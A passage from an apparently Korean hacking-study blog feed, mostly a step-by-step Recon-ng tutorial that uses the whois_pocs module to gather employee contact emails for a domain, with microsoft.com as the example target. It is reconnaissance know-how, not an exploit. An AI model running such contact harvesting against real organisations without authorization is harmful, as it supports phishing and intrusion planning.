&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;CAINE &lt;/span&gt;&lt;span&gt;리눅스는 &lt;/span&gt;&lt;span&gt;Kali &lt;/span&gt;&lt;span&gt;리눅스와 다르게 포렌식에 특화되어있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;디지털 조사의 &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;단계 동안 디지털 조사자를 지원하는 상호 운용 가능한 환경과 사용자와 친화적인 &lt;/span&gt;&lt;span&gt;GUI &lt;/span&gt;&lt;span&gt;그리고 전자 증거를 수집하고 분석하는 동안 문서 및 보고서를 반자동을 편집할 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그래서 포렌식을 주로 사용하는 사용자는 &lt;/span&gt;&lt;span&gt;Kali &lt;/span&gt;&lt;span&gt;리눅스보다 &lt;/span&gt;&lt;span&gt;CAINE &lt;/span&gt;&lt;span&gt;리눅스를 이용하는 것이 좋을 것이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>backbox</category>
      <category>caine</category>
      <category>리눅스</category>
      <category>모의해킹</category>
      <category>운용체제</category>
      <category>칼리리눅스</category>
      <category>펜투리눅스</category>
      <category>해킹</category>
      <category>해킹공부</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/28</guid>
      <comments>https://geru.tistory.com/28#entry28comment</comments>
      <pubDate>Sat, 1 Aug 2020 19:11:41 +0900</pubDate>
    </item>
    <item>
      <title>Recon-ng</title>
      <link>https://geru.tistory.com/20</link>
      <description>&lt;p&gt;Recon-ng는&amp;nbsp;파이썬으로&amp;nbsp;개발된&amp;nbsp;정찰용&amp;nbsp;프레임워크이다.&lt;/p&gt;
&lt;p&gt;이&amp;nbsp;프레임워크를&amp;nbsp;이용해서&amp;nbsp;다양한&amp;nbsp;독립모듈을&amp;nbsp;이용할&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p&gt;사용방법은&amp;nbsp;아주&amp;nbsp;간단해서&amp;nbsp;배우기&amp;nbsp;쉽다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDfnqV/btqF3FuwUnv/BRDZRKMHUnkI0SdGVWD8k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDfnqV/btqF3FuwUnv/BRDZRKMHUnkI0SdGVWD8k0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDfnqV/btqF3FuwUnv/BRDZRKMHUnkI0SdGVWD8k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDfnqV%2FbtqF3FuwUnv%2FBRDZRKMHUnkI0SdGVWD8k0%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yCPai/btqF1TgcRpt/BeHSpkKbtLVDmPAqKQakz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yCPai/btqF1TgcRpt/BeHSpkKbtLVDmPAqKQakz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yCPai/btqF1TgcRpt/BeHSpkKbtLVDmPAqKQakz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyCPai%2FbtqF1TgcRpt%2FBeHSpkKbtLVDmPAqKQakz1%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;우선 Recon-ng를 입력하여 Recon-ng를 켜준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vou0E/btqF1bhxGDa/ttW2syk8rzkUr9k9243LVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vou0E/btqF1bhxGDa/ttW2syk8rzkUr9k9243LVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vou0E/btqF1bhxGDa/ttW2syk8rzkUr9k9243LVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvou0E%2FbtqF1bhxGDa%2FttW2syk8rzkUr9k9243LVK%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;밑에 보이는 파란글자를 보면 모듈 갯수를 알 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mQOHM/btqF1SuNM6K/RWofO6E462Ti9j4fo6Uxh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mQOHM/btqF1SuNM6K/RWofO6E462Ti9j4fo6Uxh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mQOHM/btqF1SuNM6K/RWofO6E462Ti9j4fo6Uxh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmQOHM%2FbtqF1SuNM6K%2FRWofO6E462Ti9j4fo6Uxh0%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;여기서 help를 입력했다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9oeNo/btqF16l2fIZ/qQKNk9JpvKk2aUKMhRo1l0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9oeNo/btqF16l2fIZ/qQKNk9JpvKk2aUKMhRo1l0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9oeNo/btqF16l2fIZ/qQKNk9JpvKk2aUKMhRo1l0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9oeNo%2FbtqF16l2fIZ%2FqQKNk9JpvKk2aUKMhRo1l0%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그러면 명령어 사용법이 나온다.&lt;/p&gt;
&lt;p&gt;핵심적인 명령어만 조금 사용해보았다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;6.PNG&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/obdis/btqF1n9UooQ/k2nGmTpvYeqdb2RQ1JOqSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/obdis/btqF1n9UooQ/k2nGmTpvYeqdb2RQ1JOqSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/obdis/btqF1n9UooQ/k2nGmTpvYeqdb2RQ1JOqSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fobdis%2FbtqF1n9UooQ%2Fk2nGmTpvYeqdb2RQ1JOqSk%2Fimg.png&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;6.PNG&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;whois_poc모듈을 검색해보려고 search whois_poc를 입력했다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/F9iNn/btqF3SmROQK/YVdydWJsI2VJynDgJdeEn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/F9iNn/btqF3SmROQK/YVdydWJsI2VJynDgJdeEn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/F9iNn/btqF3SmROQK/YVdydWJsI2VJynDgJdeEn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FF9iNn%2FbtqF3SmROQK%2FYVdydWJsI2VJynDgJdeEn0%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그러면 다음과 같이 모듈의 위치를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;whois_poc는&amp;nbsp;thehavest처럼&amp;nbsp;직원의&amp;nbsp;이메일을&amp;nbsp;찾을&amp;nbsp;때&amp;nbsp;사용한다.&lt;/p&gt;
&lt;p&gt;차이점은 thehavest는 찾을때 검색사이트에서 공개된 정보를 찾고 whois_poc는&amp;nbsp;whois서버에&amp;nbsp;공개되어있는&amp;nbsp;정보를&amp;nbsp;사용하는&amp;nbsp;것이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EnEaO/btqF1oVfHpo/mK8wkShsk107y38FXwYRYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EnEaO/btqF1oVfHpo/mK8wkShsk107y38FXwYRYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EnEaO/btqF1oVfHpo/mK8wkShsk107y38FXwYRYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEnEaO%2FbtqF1oVfHpo%2FmK8wkShsk107y38FXwYRYk%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;use recon/domains-contacts/whois_pocs를 입력해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWl7ZE/btqF1cgsfmn/rQU2AtzEtIovjoc2wEHRtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWl7ZE/btqF1cgsfmn/rQU2AtzEtIovjoc2wEHRtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWl7ZE/btqF1cgsfmn/rQU2AtzEtIovjoc2wEHRtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWl7ZE%2FbtqF1cgsfmn%2FrQU2AtzEtIovjoc2wEHRtK%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그 다음 show info입력한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8hv6m/btqF2SHSkDY/Wlu9fDx9erJyRNlDHsRYKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8hv6m/btqF2SHSkDY/Wlu9fDx9erJyRNlDHsRYKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8hv6m/btqF2SHSkDY/Wlu9fDx9erJyRNlDHsRYKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8hv6m%2FbtqF2SHSkDY%2FWlu9fDx9erJyRNlDHsRYKk%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그러면 이 모듈의 정보를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0Koss/btqF1awaoBc/JQkALeOIwhMqOt9BK3dtb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0Koss/btqF1awaoBc/JQkALeOIwhMqOt9BK3dtb0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0Koss/btqF1awaoBc/JQkALeOIwhMqOt9BK3dtb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0Koss%2FbtqF1awaoBc%2FJQkALeOIwhMqOt9BK3dtb0%2Fimg.png&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;혹시 show info 명령어가 기억이 나지 않는다면 help show를 입력하면된다.&lt;/p&gt;
&lt;p&gt;그럼 위의 사진처럼 show뒤에 붙을 수 있는 명령어를 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;12.PNG&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xh7U1/btqF3UkGLKW/kQmmgVUkR0FVVekSDKJON1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xh7U1/btqF3UkGLKW/kQmmgVUkR0FVVekSDKJON1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xh7U1/btqF3UkGLKW/kQmmgVUkR0FVVekSDKJON1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxh7U1%2FbtqF3UkGLKW%2FkQmmgVUkR0FVVekSDKJON1%2Fimg.png&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;12.PNG&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번엔 show options를 입력해보자.&lt;/p&gt;
&lt;p&gt;여기에서 보이는 옵션들은 모듈이 실행되기 위해서 필요한 것들을 설정해주는 것이다.&lt;/p&gt;
&lt;p&gt;여기서&amp;nbsp;Required가&amp;nbsp;되어있는&amp;nbsp;부분이&amp;nbsp;필수&amp;nbsp;옵션이다.&lt;/p&gt;
&lt;p&gt;이 부분은 무조건 설정을 해야된다.&lt;/p&gt;
&lt;p&gt;그리고&amp;nbsp;이&amp;nbsp;모듈은&amp;nbsp;SOURCE라는&amp;nbsp;것만&amp;nbsp;설정하면&amp;nbsp;된다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blSl41/btqF1ABIHU4/ymjmcDbWPATsiy4Dk8zGKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blSl41/btqF1ABIHU4/ymjmcDbWPATsiy4Dk8zGKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blSl41/btqF1ABIHU4/ymjmcDbWPATsiy4Dk8zGKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblSl41%2FbtqF1ABIHU4%2FymjmcDbWPATsiy4Dk8zGKk%2Fimg.png&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이&amp;nbsp;SOURCE에다&amp;nbsp;정보를&amp;nbsp;수집하고&amp;nbsp;싶은&amp;nbsp;대상의&amp;nbsp;도메인&amp;nbsp;주소를&amp;nbsp;설정하면&amp;nbsp;된다.&lt;/p&gt;
&lt;p&gt;마이크로소프트를 대상으로 했을 때 set source microsoft.com을 입력하면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfgnI4/btqF4USApnK/HwIAhLlp3j0ZOUmFkYBTV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfgnI4/btqF4USApnK/HwIAhLlp3j0ZOUmFkYBTV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfgnI4/btqF4USApnK/HwIAhLlp3j0ZOUmFkYBTV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdfgnI4%2FbtqF4USApnK%2FHwIAhLlp3j0ZOUmFkYBTV1%2Fimg.png&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이제&amp;nbsp;옵션설정이&amp;nbsp;끝났다면&amp;nbsp;run을&amp;nbsp;입력하여&amp;nbsp;모듈을&amp;nbsp;실행한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZZNbf/btqF4TzomxD/7kDYhQU4iitvkJVpsvf9i0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZZNbf/btqF4TzomxD/7kDYhQU4iitvkJVpsvf9i0/img.png&quot; data-alt=&quot;작동하는 모습&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZZNbf/btqF4TzomxD/7kDYhQU4iitvkJVpsvf9i0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZZNbf%2FbtqF4TzomxD%2F7kDYhQU4iitvkJVpsvf9i0%2Fimg.png&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;작동하는 모습&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/X7zwX/btqF3TT9ikd/Pt55DqVGwSPFPqw281aqK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/X7zwX/btqF3TT9ikd/Pt55DqVGwSPFPqw281aqK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/X7zwX/btqF3TT9ikd/Pt55DqVGwSPFPqw281aqK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FX7zwX%2FbtqF3TT9ikd%2FPt55DqVGwSPFPqw281aqK1%2Fimg.png&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;어느 정도 시간이 지나면 ctrl + c로 작동을 멈춘다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/djEfvk/btqF4yvt32y/UMZYB8i1mboE5JIckCiaaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/djEfvk/btqF4yvt32y/UMZYB8i1mboE5JIckCiaaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/djEfvk/btqF4yvt32y/UMZYB8i1mboE5JIckCiaaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdjEfvk%2FbtqF4yvt32y%2FUMZYB8i1mboE5JIckCiaaK%2Fimg.png&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 show contacts입력한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
